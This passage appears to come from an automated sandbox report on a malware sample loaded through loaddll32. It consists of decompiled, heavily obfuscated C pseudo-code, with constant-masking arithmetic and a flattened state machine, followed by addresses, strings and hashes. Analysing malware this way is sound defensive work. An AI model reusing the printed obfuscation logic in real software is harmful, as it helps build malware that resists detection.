				_t842 = 0x18;
				_v404 = _v404 * 0x76;
				_v404 = _v404 ^ 0xf7b40000;
				_v308 = 0x6641fd;
				_v308 = _v308 << 8;
				_v308 = _v308 >> 0xb;
				_v308 = _v308 ^ 0x000cc83f;
				_v220 = 0xec4b39;
				_t65 =  &_v220; // 0xec4b39
				_v220 =  *_t65 * 0x63;
				_v220 = _v220 ^ 0x5b61170b;
				_v336 = 0x6361c6;
				_v336 = _v336 | 0x3c2b95f6;
				_v336 = _v336 << 6;
				_v336 = _v336 ^ 0xaef3ea0d;
				_v336 = _v336 ^ 0xb40e978d;
				_v196 = 0x15a25f;
				_v196 = _v196 * 0x3e;
				_v196 = _v196 ^ 0x053d5302;
				_v244 = 0xaeb8cf;
				_v244 = _v244 ^ 0x8ffcaaa2;
				_v244 = _v244 + 0xffff121b;
				_v244 = _v244 ^ 0x8f512488;
				_v284 = 0x3cdf2a;
				_v284 = _v284 / _t842;
				_t843 = 0x6f;
				_v284 = _v284 / _t843;
				_v284 = _v284 ^ 0x00028d29;
				_v380 = 0xe8bf5b;
				_v380 = _v380 | 0xa79448e5;
				_v380 = _v380 + 0x3298;
				_t844 = 0x61;
				_v380 = _v380 / _t844;
				_v380 = _v380 ^ 0x01b6f871;
				_v164 = 0xa028e3;
				_v164 = _v164 >> 8;
				_v164 = _v164 ^ 0x000bef7a;
				_v144 = 0xaa000b;
				_v144 = _v144 | 0xb15b5655;
				_v144 = _v144 ^ 0xb1f93ed7;
				_v224 = 0x825ce8;
				_v224 = _v224 ^ 0x99839705;
				_v224 = _v224 ^ 0x990bf034;
				_v232 = 0x9a02a1;
				_v232 = _v232 ^ 0x3230df48;
				_v232 = _v232 ^ 0x32abc77a;
				_v372 = 0xe8db0;
				_v372 = _v372 ^ 0xdf502c0f;
				_v372 = _v372 << 4;
				_v372 = _v372 + 0xa166;
				_v372 = _v372 ^ 0xf5e20524;
				_v236 = 0xf17d89;
				_v236 = _v236 << 0xa;
				_v236 = _v236 ^ 0xc5fdd8cb;
				_v192 = 0x124401;
				_v192 = _v192 << 1;
				_v192 = _v192 ^ 0x002403ab;
				_v200 = 0x5fb430;
				_v200 = _v200 ^ 0xc7981bfe;
				_v200 = _v200 ^ 0xc7ca3d42;
				_v208 = 0xc74c13;
				_t845 = 0x57;
				_v208 = _v208 / _t845;
				_v208 = _v208 ^ 0x0006a8aa;
				_v168 = 0x8380fc;
				_v168 = _v168 * 0x53;
				_v168 = _v168 ^ 0x2aae8785;
				_v176 = 0x9ffdb9;
				_v176 = _v176 ^ 0xfc54cce6;
				_v176 = _v176 ^ 0xfccfce01;
				_v184 = 0x3c19aa;
				_v184 = _v184 + 0xffff0dbd;
				_v184 = _v184 ^ 0x003c7cd6;
				_v332 = 0x7ddf6a;
				_v332 = _v332 * 0x48;
				_v332 = _v332 + 0xffffc784;
				_v332 = _v332 >> 2;
				_v332 = _v332 ^ 0x08d6f5e9;
				_v260 = 0x768b26;
				_v260 = _v260 + 0x1ea0;
				_v260 = _v260 >> 0xa;
				_v260 = _v260 ^ 0x00091d68;
				_v340 = 0xf041ab;
				_v340 = _v340 | 0x9a3ffa69;
				_v340 = _v340 * 0x76;
				_v340 = _v340 << 2;
				_v340 = _v340 ^ 0xc7fb4a22;
				_v356 = 0x43b3d6;
				_v356 = _v356 + 0x4b8b;
				_v356 = _v356 + 0xe9f;
				_v356 = _v356 >> 3;
				_v356 = _v356 ^ 0x000654db;
				_v296 = 0x3744a4;
				_v296 = _v296 | 0xb4c0bda8;
				_v296 = _v296 << 0xc;
				_v296 = _v296 ^ 0x7fd1bf6e;
				_v240 = 0xf0a4a1;
				_t846 = 0x35;
				_t973 = 0x29;
				_v240 = _v240 * 0x29;
				_v240 = _v240 ^ 0x268dfba5;
				_v204 = 0x963c75;
				_v204 = _v204 * 0x65;
				_v204 = _v204 ^ 0x3b49a4c9;
				_v248 = 0xe9b3e2;
				_v248 = _v248 + 0xffffcfe1;
				_v248 = _v248 + 0xffff3918;
				_v248 = _v248 ^ 0x00edd730;
				_v320 = 0x14b129;
				_v320 = _v320 | 0x7afa9cce;
				_v320 = _v320 << 6;
				_v320 = _v320 * 0x2c;
				_v320 = _v320 ^ 0xf22961a1;
				_v412 = 0xf4420e;
				_v412 = _v412 * 0x78;
				_v412 = _v412 >> 5;
				_v412 = _v412 + 0x6896;
				_v412 = _v412 ^ 0x039e325f;
				_v420 = 0x97c268;
				_v420 = _v420 >> 7;
				_v420 = _v420 + 0x9a22;
				_v420 = _v420 * 5;
				_v420 = _v420 ^ 0x0006f3f8;
				_v368 = 0xfa90cd;
				_v368 = _v368 >> 3;
				_v368 = _v368 | 0x960f0bdf;
				_v368 = _v368 / _t846;
				_v368 = _v368 ^ 0x02d25408;
				_v344 = 0xc4a2c6;
				_v344 = _v344 / _t973;
				_t847 = 0x6d;
				_v344 = _v344 * 0x41;
				_v344 = _v344 / _t847;
				_v344 = _v344 ^ 0x0000e167;
				_v376 = 0xa5ec95;
				_v376 = _v376 + 0xffff9374;
				_v376 = _v376 + 0x40c1;
				_v376 = _v376 << 5;
				_v376 = _v376 ^ 0x14ba2e6c;
				_v124 = 0xd2fda4;
				_v124 = _v124 + 0xe683;
				_v124 = _v124 ^ 0x00d1ecea;
				_v188 = 0x3a4eac;
				_v188 = _v188 * 0x65;
				_v188 = _v188 ^ 0x170628e3;
				_v132 = 0x698490;
				_v132 = _v132 + 0x597e;
				_v132 = _v132 ^ 0x0066fb45;
				_v292 = 0x223a77;
				_v292 = _v292 << 0xd;
				_v292 = _v292 + 0xffff3c10;
				_v292 = _v292 ^ 0x474a06e9;
				_v180 = 0x302f0e;
				_v180 = _v180 >> 5;
				_v180 = _v180 ^ 0x000a5e5d;
				_v300 = 0xc22ee2;
				_v300 = _v300 << 9;
				_v300 = _v300 ^ 0x161ea530;
				_v300 = _v300 ^ 0x924eaf38;
				_v172 = 0xfb4aa2;
				_t848 = 0x5b;
				_v172 = _v172 / _t848;
				_v172 = _v172 ^ 0x000048eb;
				_v388 = 0x360efc;
				_t849 = 0xa;
				_v388 = _v388 * 0x3a;
				_v388 = _v388 + 0xc1c4;
				_v388 = _v388 + 0x5664;
				_v388 = _v388 ^ 0x0c403f0e;
				_v396 = 0x5476a;
				_v396 = _v396 ^ 0x42600bf2;
				_v396 = _v396 >> 0xe;
				_v396 = _v396 * 0x62;
				_v396 = _v396 ^ 0x00664365;
				_v328 = 0xe3494b;
				_v328 = _v328 + 0x92aa;
				_v328 = _v328 ^ 0x6aed616f;
				_t376 =  &_v328; // 0x6aed616f
				_v328 =  *_t376 / _t849;
				_v328 = _v328 ^ 0x0a9641d7;
				_v268 = 0xcdefc7;
				_v268 = _v268 ^ 0xa3334e4e;
				_t850 = 0x25;
				_v268 = _v268 / _t850;
				_v268 = _v268 ^ 0x04647efb;
				_v400 = 0x131a5;
				_t851 = 0x64;
				_v400 = _v400 * 0x4a;
				_v400 = _v400 ^ 0x0f1274da;
				_v400 = _v400 * 0x22;
				_v400 = _v400 ^ 0x07d5f55f;
				_v360 = 0xe617d1;
				_v360 = _v360 >> 0xd;
				_v360 = _v360 | 0x5174fa74;
				_v360 = _v360 + 0x188;
				_v360 = _v360 ^ 0x517a384b;
				_v128 = 0xe00f23;
				_v128 = _v128 << 0xa;
				_v128 = _v128 ^ 0x8036c474;
				_v408 = 0xcb78c3;
				_v408 = _v408 / _t851;
				_t852 = 0x47;
				_v408 = _v408 / _t852;
				_v408 = _v408 + 0xffff68fe;
				_v408 = _v408 ^ 0xfff44118;
				_v272 = 0xfc5a62;
				_v272 = _v272 * 0x34;
				_v272 = _v272 >> 5;
				_v272 = _v272 ^ 0x019747a7;
				_v156 = 0xfa4dde;
				_v156 = _v156 >> 8;
				_v156 = _v156 ^ 0x000644ae;
				_v304 = 0x2315e0;
				_v304 = _v304 ^ 0x963b0ec5;
				_t853 = 0x11;
				_v304 = _v304 / _t853;
				_v304 = _v304 ^ 0x08dc5d77;
				_v392 = 0x627a1b;
				_t854 = 0x75;
				_v392 = _v392 / _t854;
				_v392 = _v392 << 0xc;
				_t976 = 0x2a;
				_v392 = _v392 / _t976;
				_v392 = _v392 ^ 0x0054cd8e;
				_v148 = 0x2962f6;
				_v148 = _v148 << 0xe;
				_v148 = _v148 ^ 0x58b06ca9;
				_v212 = 0x9d6abd;
				_v212 = _v212 + 0xffff6fa8;
				_v212 = _v212 ^ 0x009f4a76;
				_v416 = 0xfea0f4;
				_t855 = 0x2d;
				_v416 = _v416 / _t855;
				_v416 = _v416 / _t973;
				_v416 = _v416 + 0x55e0;
				_v416 = _v416 ^ 0x0005c112;
				_v228 = 0x3963a4;
				_v228 = _v228 ^ 0x31d128c3;
				_v228 = _v228 ^ 0x31eeea44;
				_v136 = 0x9230b0;
				_v136 = _v136 + 0xffff1ea6;
				_v136 = _v136 ^ 0x00954d5e;
				_v364 = 0x2249f0;
				_v364 = _v364 ^ 0xfb680cc4;
				_v364 = _v364 / _t976;
				_v364 = _v364 << 4;
				_v364 = _v364 ^ 0x5fb5fcae;
				_v160 = 0x56bde9;
				_v160 = _v160 << 0x10;
				_v160 = _v160 ^ 0xbde8ac4a;
				_v312 = 0x1ceb4a;
				_v312 = _v312 | 0x930b0a1e;
				_v312 = _v312 + 0x4259;
				_v312 = _v312 ^ 0x93207f8d;
				_v280 = 0x43d239;
				_v280 = _v280 >> 0xb;
				_v280 = _v280 + 0xffff7066;
				_v280 = _v280 ^ 0xfff11c5c;
				_v264 = 0xa9b19b;
				_v264 = _v264 + 0xffffea48;
				_v264 = _v264 ^ 0xb4acc61c;
				_v264 = _v264 ^ 0xb407c15c;
				_v288 = 0x20bbe8;
				_v288 = _v288 + 0xffffa4f3;
				_v288 = _v288 + 0xeeb1;
				_v288 = _v288 ^ 0x002a2e89;
				_v384 = 0x678812;
				_t856 = 0x60;
				_v384 = _v384 / _t856;
				_v384 = _v384 ^ 0xc458a46c;
				_t974 = 0x4e52e2;
				_t977 = 0x8c2efc;
				_t857 = 0x74;
				_v384 = _v384 / _t857;
				_v384 = _v384 ^ 0x01b63bee;
				_v256 = 0xedc72;
				_t858 = 0x62;
				_v256 = _v256 / _t858;
				_v256 = _v256 >> 0xf;
				_v256 = _v256 ^ 0x000eb51d;
				_v352 = 0x77af38;
				_v352 = _v352 + 0xffff483b;
				_v352 = _v352 + 0xdbd8;
				_v352 = _v352 + 0xffff9e40;
				_v352 = _v352 ^ 0x007a82c2;
				_v316 = 0x34e014;
				_v316 = _v316 >> 0xb;
				_v316 = _v316 + 0xffff226a;
				_v316 = _v316 ^ 0x55756368;
				_v316 = _v316 ^ 0xaa84562e;
				_v324 = 0x2bc11f;
				_v324 = _v324 | 0x52ab72b8;
				_t859 = 0x58;
				_v324 = _v324 / _t859;
				_t860 = 0x5f;
				_v324 = _v324 / _t860;
				_v324 = _v324 ^ 0x00016621;
				_v252 = 0xf022e;
				_v252 = _v252 >> 8;
				_t861 = 0x3b;
				_v252 = _v252 / _t861;
				_v252 = _v252 ^ 0x000f04ac;
				while(1) {
					L1:
					_t802 = 0xd56de6a;
					while(1) {
						L2:
						_t862 = 0x80f0eae;
						do {
							while(1) {
								L3:
								_t985 = _t834 - 0x8ccb677;
								if(_t985 > 0) {
									break;
								}
								if(_t985 == 0) {
									E007B8907(_v100, _v280, _v264, _v288);
									_t834 = _t974;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										L2:
										_t862 = 0x80f0eae;
										goto L3;
									}
								}
								if(_t834 == _t974) {
									E007B8907(_v116, _v384, _v256, _v352);
									_t834 = 0xe9f0a5a;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == _t977) {
									_t824 = E007BF561(_v104);
									_t834 = 0xac30134;
									__eflags = _t824;
									_t981 =  !=  ? 1 : _t981;
									while(1) {
										L1:
										_t802 = 0xd56de6a;
										goto L2;
									}
								}
								if(_t834 == 0x14ed6fb) {
									_t825 = E007B132D(_v116, _v296, _v240, _v120, _v204);
									_t982 =  &(_t982[3]);
									__eflags = _t825 - _v140;
									_t802 = 0xd56de6a;
									_t834 =  ==  ? 0xd56de6a : _t974;
									goto L2;
								}
								if(_t834 == 0x15fae28) {
									_t826 = E007C0AD3(_v328, _v268, __eflags);
									_t895 = 0x7a1598;
									__eflags = E007AF7F4(_v400, _t826, _v360,  *_v96,  *((intOrPtr*)(_v96 + 4)), _t895, _v128, _v112,  &_v100, _v408, _v272, _v220, _v156, _v304) - _v336;
									_t834 =  ==  ? 0x80f0eae : _t974;
									E007B2EED(_v392, _v148, _v212, _t826);
									_t982 =  &(_t982[0xe]);
									L14:
									_t977 = 0x8c2efc;
									L35:
									_t862 = 0x80f0eae;
									_t802 = 0xd56de6a;
									goto L36;
								}
								if(_t834 == 0x28b91dd) {
									_t834 = 0xbb5c550;
									continue;
								}
								if(_t834 != _t862) {
									goto L36;
								}
								E007B3927(_v416, _v228, _v136, _v196,  &_v104, _v116, _v100);
								_t982 =  &(_t982[5]);
								_t834 =  ==  ? _t977 : 0x8ccb677;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0x9b49f28;
							if(_t834 == 0x9b49f28) {
								_v108 = 0x100;
								_t804 = E007B703F(_v332, _v260, _v340, 0x100,  &_v116, _v112, _v348, _v356);
								_t982 =  &(_t982[6]);
								__eflags = _t804 - _v152;
								if(__eflags != 0) {
									_t834 = 0xe9f0a5a;
									goto L35;
								}
								_t834 = 0x14ed6fb;
								while(1) {
									L1:
									_t802 = 0xd56de6a;
									goto L2;
								}
							}
							__eflags = _t834 - 0xac30134;
							if(_t834 == 0xac30134) {
								E007A5FF7(_v364, _v160, _v312, _v104);
								_t834 = 0x8ccb677;
								goto L1;
							}
							__eflags = _t834 - 0xbb5c550;
							if(__eflags == 0) {
								_push(0x7a16d8);
								_t806 = E007C0AD3(_v284, _v380, __eflags);
								 *_t982 = 0x7a15c8;
								__eflags = E007A92DD(_t806, _v276, _v224,  &_v112, E007C0AD3(_v164, _v144, __eflags), _v232, _v372, _v236) - _v216;
								_t834 =  ==  ? 0x9b49f28 : 0x911112e;
								E007B2EED(_v192, _v200, _v208, _t806);
								E007B2EED(_v168, _v176, _v184, _t807);
								_t982 =  &(_t982[0xa]);
								_t974 = 0x4e52e2;
								goto L14;
							}
							__eflags = _t834 - _t802;
							if(__eflags == 0) {
								_push(0x7a1598);
								_t813 = E007C0AD3(_v248, _v320, __eflags);
								_t876 = 0x48;
								_t980 = _t813;
								_v108 = _t876;
								_t815 = E007AAD17( &_v108, _v404, _t876, _v412,  &_v76, _v420, _t876, _v116, _v368, _v344, _v376, _t813, _v124, _v188);
								_t982 =  &(_t982[0xc]);
								__eflags = _t815 - _v308;
								if(_t815 != _v308) {
									_t834 = _t974;
								} else {
									_push(_v300);
									_push(_v180);
									_push(_v292);
									_push(_v132);
									_push( *0x7c5be0 + 0x18);
									_t970 = 0x40;
									E007B4626( &_v68, _t970);
									_t982 =  &(_t982[5]);
									_t834 = 0x15fae28;
								}
								E007B2EED(_v172, _v388, _v396, _t980);
								goto L14;
							}
							__eflags = _t834 - 0xe9f0a5a;
							if(_t834 != 0xe9f0a5a) {
								goto L36;
							}
							E007A2CF9(_v316, _v324, _v244, _v252, _v112);
							L25:
							return _t981;
							L36:
							__eflags = _t834 - 0x911112e;
						} while (__eflags != 0);
						goto L25;
					}
				}
			}

0x007ac69b
0x007ac6a1
0x007ac6b9
0x007ac6c0
0x007ac6c5
0x007ac6c8
0x007ac6c9
0x007ac6cb
0x007ac6d0
0x007ac6d1
0x007ac6e7
0x007ac6ee
0x007ac6f6
0x007ac701
0x007ac70c
0x007ac717
0x007ac722
0x007ac72f
0x007ac732
0x007ac736
0x007ac73b
0x007ac740
0x007ac748
0x007ac753
0x007ac75e
0x007ac769
0x007ac774
0x007ac77f
0x007ac78a
0x007ac7a0
0x007ac7a7
0x007ac7b2
0x007ac7ba
0x007ac7c2
0x007ac7cc
0x007ac7cd
0x007ac7d1
0x007ac7d9
0x007ac7e4
0x007ac7ec
0x007ac7f4
0x007ac7ff
0x007ac80a
0x007ac812
0x007ac819
0x007ac824
0x007ac82c
0x007ac834
0x007ac839
0x007ac841
0x007ac849
0x007ac85c
0x007ac863
0x007ac86e
0x007ac879
0x007ac884
0x007ac88f
0x007ac89a
0x007ac8b0
0x007ac8c0
0x007ac8c5
0x007ac8ce
0x007ac8d9
0x007ac8e1
0x007ac8e9
0x007ac8f5
0x007ac8fa
0x007ac900
0x007ac908
0x007ac913
0x007ac91b
0x007ac926
0x007ac931
0x007ac93c
0x007ac947
0x007ac952
0x007ac95d
0x007ac968
0x007ac973
0x007ac97e
0x007ac989
0x007ac991
0x007ac999
0x007ac99e
0x007ac9a6
0x007ac9ae
0x007ac9b9
0x007ac9c1
0x007ac9cc
0x007ac9d7
0x007ac9de
0x007ac9e9
0x007ac9f4
0x007ac9ff
0x007aca0a
0x007aca1c
0x007aca1f
0x007aca26
0x007aca31
0x007aca44
0x007aca4b
0x007aca56
0x007aca61
0x007aca6c
0x007aca77
0x007aca82
0x007aca8d
0x007aca98
0x007acaa5
0x007acaa9
0x007acab1
0x007acab6
0x007acabe
0x007acac9
0x007acad4
0x007acadc
0x007acae7
0x007acaef
0x007acafc
0x007acb00
0x007acb05
0x007acb0d
0x007acb15
0x007acb1d
0x007acb25
0x007acb2a
0x007acb32
0x007acb3d
0x007acb4a
0x007acb52
0x007acb5d
0x007acb72
0x007acb75
0x007acb76
0x007acb7d
0x007acb88
0x007acb9d
0x007acba4
0x007acbaf
0x007acbba
0x007acbc5
0x007acbd0
0x007acbdb
0x007acbe3
0x007acbeb
0x007acbf5
0x007acbf9
0x007acc01
0x007acc0e
0x007acc12
0x007acc17
0x007acc1f
0x007acc27
0x007acc2f
0x007acc34
0x007acc41
0x007acc45
0x007acc4d
0x007acc55
0x007acc5a
0x007acc6a
0x007acc6e
0x007acc76
0x007acc86
0x007acc8f
0x007acc90
0x007acc9a
0x007acc9e
0x007acca6
0x007accae
0x007accb6
0x007accbe
0x007accc3
0x007acccb
0x007accd6
0x007acce1
0x007accec
0x007accff
0x007acd06
0x007acd11
0x007acd1c
0x007acd27
0x007acd32
0x007acd3d
0x007acd45
0x007acd50
0x007acd5b
0x007acd66
0x007acd6e
0x007acd79
0x007acd86
0x007acd8e
0x007acd99
0x007acda4
0x007acdb8
0x007acdbd
0x007acdc6
0x007acdd1
0x007acdde
0x007acde1
0x007acde5
0x007acded
0x007acdf5
0x007acdfd
0x007ace05
0x007ace0d
0x007ace17
0x007ace1b
0x007ace23
0x007ace2b
0x007ace33
0x007ace3b
0x007ace43
0x007ace47
0x007ace4f
0x007ace5a
0x007ace6c
0x007ace71
0x007ace7a
0x007ace85
0x007ace92
0x007ace95
0x007ace99
0x007acea6
0x007aceaa
0x007aceb2
0x007aceba
0x007acebf
0x007acec7
0x007acecf
0x007aced7
0x007acee2
0x007aceea
0x007acef5
0x007acf05
0x007acf0d
0x007acf10
0x007acf14
0x007acf1c
0x007acf24
0x007acf37
0x007acf3e
0x007acf46
0x007acf51
0x007acf5c
0x007acf64
0x007acf6f
0x007acf7c
0x007acf90
0x007acf95
0x007acf9c
0x007acfa7
0x007acfb5
0x007acfba
0x007acfbe
0x007acfc9
0x007acfce
0x007acfd2
0x007acfda
0x007acfe5
0x007acfed
0x007acff8
0x007ad003
0x007ad00e
0x007ad019
0x007ad027
0x007ad02c
0x007ad038
0x007ad03c
0x007ad044
0x007ad04c
0x007ad057
0x007ad062
0x007ad06d
0x007ad078
0x007ad083
0x007ad08e
0x007ad096
0x007ad0a6
0x007ad0aa
0x007ad0af
0x007ad0b7
0x007ad0c2
0x007ad0ca
0x007ad0d5
0x007ad0e0
0x007ad0eb
0x007ad0f6
0x007ad101
0x007ad10c
0x007ad114
0x007ad11f
0x007ad12a
0x007ad135
0x007ad140
0x007ad14b
0x007ad156
0x007ad161
0x007ad16c
0x007ad177
0x007ad184
0x007ad190
0x007ad195
0x007ad19b
0x007ad1a3
0x007ad1ac
0x007ad1b1
0x007ad1b6
0x007ad1bc
0x007ad1c4
0x007ad1d6
0x007ad1db
0x007ad1e4
0x007ad1ec
0x007ad1f7
0x007ad1ff
0x007ad207
0x007ad20f
0x007ad217
0x007ad21f
0x007ad227
0x007ad22c
0x007ad234
0x007ad23c
0x007ad244
0x007ad24c
0x007ad258
0x007ad25d
0x007ad267
0x007ad26c
0x007ad272
0x007ad27a
0x007ad285
0x007ad294
0x007ad297
0x007ad29e
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x007ad2ae
0x007ad2ae
0x007ad2ae
0x007ad2b3
0x007ad2b3
0x007ad2b3
0x007ad2b3
0x007ad2b9
0x00000000
0x00000000
0x007ad2bf
0x007ad48f
0x007ad496
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x007ad2ae
0x007ad2ae
0x00000000
0x007ad2ae
0x007ad2a9
0x007ad2c7
0x007ad462
0x007ad469
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x00000000
0x007ad2a9
0x007ad2a9
0x007ad2cf
0x007ad435
0x007ad43c
0x007ad442
0x007ad444
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x00000000
0x007ad2a9
0x007ad2a9
0x007ad2db
0x007ad40e
0x007ad41a
0x007ad41d
0x007ad421
0x007ad426
0x00000000
0x007ad426
0x007ad2e7
0x007ad359
0x007ad35e
0x007ad3bc
0x007ad3d2
0x007ad3d9
0x007ad3de
0x007ad3e1
0x007ad3e1
0x007ad715
0x007ad715
0x007ad71a
0x00000000
0x007ad71a
0x007ad2ef
0x007ad33f
0x00000000
0x007ad33f
0x007ad2f3
0x00000000
0x00000000
0x007ad328
0x007ad32d
0x007ad337
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x00000000
0x007ad2a9
0x007ad2a9
0x007ad4a2
0x007ad4a4
0x007ad6c7
0x007ad6f5
0x007ad6fa
0x007ad6fd
0x007ad704
0x007ad710
0x00000000
0x007ad710
0x007ad706
0x007ad2a9
0x007ad2a9
0x007ad2a9
0x00000000
0x007ad2a9
0x007ad2a9
0x007ad4aa
0x007ad4b0
0x007ad6ab
0x007ad6b2
0x00000000
0x007ad6b2
0x007ad4b6
0x007ad4bc
0x007ad5e0
0x007ad5e5
0x007ad5fa
0x007ad645
0x007ad65b
0x007ad665
0x007ad680
0x007ad685
0x007ad688
0x00000000
0x007ad688
0x007ad4c2
0x007ad4c4
0x007ad512
0x007ad517
0x007ad51f
0x007ad527
0x007ad529
0x007ad568
0x007ad56d
0x007ad570
0x007ad577
0x007ad5b7
0x007ad579
0x007ad579
0x007ad587
0x007ad58e
0x007ad595
0x007ad5a4
0x007ad5a7
0x007ad5a8
0x007ad5ad
0x007ad5b0
0x007ad5b0
0x007ad5c9
0x00000000
0x007ad5cf
0x007ad4c6
0x007ad4cc
0x00000000
0x00000000
0x007ad4f2
0x007ad4fc
0x007ad506
0x007ad71f
0x007ad71f
0x007ad71f
0x00000000
0x007ad72b
0x007ad2ae

Strings

H, xrefs: 007ACDC6
g, xrefs: 007ACC9E
D1, xrefs: 007AD062
YB, xrefs: 007AD0EB
RN, xrefs: 007AD688
U, xrefs: 007AD03C
K8zQ, xrefs: 007ACECF
eCf, xrefs: 007ACE1B
oaj, xrefs: 007ACE3B
hcuU, xrefs: 007AD234
dV, xrefs: 007ACDED
9K, xrefs: 007AC80A
w:", xrefs: 007ACD32
]^, xrefs: 007ACD6E
~Y, xrefs: 007ACD1C
RN, xrefs: 007AD1A3

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: 9K$D1$K8zQ$YB$]^$dV$eCf$g$hcuU$oaj$w:"$~Y$H$RN$RN$U
API String ID: 0-3730166627
Opcode ID: 967c9e886bc4f77a6d551cb7e3a1624b4a4cc5016d312a1b2805bb120796b2c1
Instruction ID: dbdcb378897ae8ad687fa581d48208491b6140df544a2a05686b0f79a3447863
Opcode Fuzzy Hash: 967c9e886bc4f77a6d551cb7e3a1624b4a4cc5016d312a1b2805bb120796b2c1
Instruction Fuzzy Hash: 3482FF71508380CFD378CF25C58AB8BBBE2BBC5314F108A1DE69996260DBB59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B1C12, Relevance: 20.6, Strings: 16, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E007B1C12(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				char _v2624;
				intOrPtr _v2628;
				char _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				unsigned int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				signed int _v2928;
				signed int _v2932;
				void* _t755;
				void* _t756;
				short* _t766;
				signed int _t773;
				signed int _t779;
				signed int _t788;
				void* _t791;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				void* _t812;
				signed int _t877;
				void* _t882;
				signed int* _t883;
				signed int* _t884;
				void* _t887;

				_t883 =  &_v2932;
				_v2608 = _v2608 & 0x00000000;
				_v2612 = 0xa3d4eb;
				_v2660 = 0x6758cb;
				_v2660 = _v2660 << 4;
				_v2660 = _v2660 ^ 0x06758c99;
				_v2732 = 0xdc8525;
				_v2732 = _v2732 | 0x3ff23f5d;
				_v2732 = _v2732 ^ 0x3feebf7d;
				_v2928 = 0xfbcda8;
				_v2928 = _v2928 | 0x9eb5e9b7;
				_v2928 = _v2928 + 0xffff6f36;
				_v2928 = _v2928 + 0xffffec33;
				_v2928 = _v2928 ^ 0x9ef08d4a;
				_v2756 = 0xde70d9;
				_t882 = __ecx;
				_t877 = 0x99d8a48;
				_t793 = 0x28;
				_v2756 = _v2756 / _t793;
				_v2756 = _v2756 | 0x7728469f;
				_v2756 = _v2756 ^ 0x772920e1;
				_v2900 = 0xe4279b;
				_v2900 = _v2900 >> 0xc;
				_v2900 = _v2900 * 0x68;
				_v2900 = _v2900 + 0xffff73cc;
				_v2900 = _v2900 ^ 0x000006fc;
				_v2688 = 0xa4ffcb;
				_v2688 = _v2688 + 0xffff5cd6;
				_v2688 = _v2688 ^ 0x00a04a41;
				_v2908 = 0xc9c6ce;
				_v2908 = _v2908 | 0xf5fbf83a;
				_v2908 = _v2908 + 0x7e10;
				_v2908 = _v2908 / _t793;
				_v2908 = _v2908 ^ 0x062c0b4a;
				_v2916 = 0x7f9442;
				_v2916 = _v2916 << 0xb;
				_v2916 = _v2916 ^ 0x8520fee0;
				_v2916 = _v2916 + 0xe609;
				_v2916 = _v2916 ^ 0x798f337b;
				_v2652 = 0x9f68d1;
				_t794 = 0x4e;
				_v2652 = _v2652 * 0x2e;
				_v2652 = _v2652 ^ 0x1cad1c96;
				_v2680 = 0x874387;
				_v2680 = _v2680 / _t794;
				_v2680 = _v2680 ^ 0x000eef56;
				_v2740 = 0x218d86;
				_v2740 = _v2740 ^ 0x8da9a7ec;
				_v2740 = _v2740 + 0xffff8c18;
				_v2740 = _v2740 ^ 0x8d8801a5;
				_v2780 = 0xd8f554;
				_v2780 = _v2780 >> 0xb;
				_v2780 = _v2780 >> 7;
				_v2780 = _v2780 ^ 0x00079072;
				_v2892 = 0x1ce380;
				_v2892 = _v2892 ^ 0x506392b2;
				_v2892 = _v2892 >> 2;
				_v2892 = _v2892 ^ 0xa7f562ec;
				_v2892 = _v2892 ^ 0xb3eeada2;
				_v2748 = 0x4b6045;
				_v2748 = _v2748 | 0xfff2b3bd;
				_v2748 = _v2748 ^ 0xfffe78ab;
				_v2772 = 0x44b019;
				_v2772 = _v2772 << 6;
				_v2772 = _v2772 ^ 0xdf8519b0;
				_v2772 = _v2772 ^ 0xcea55934;
				_v2672 = 0x9de851;
				_v2672 = _v2672 + 0xdaae;
				_v2672 = _v2672 ^ 0x009a5a0c;
				_v2816 = 0xce234;
				_v2816 = _v2816 ^ 0xef3b6bc0;
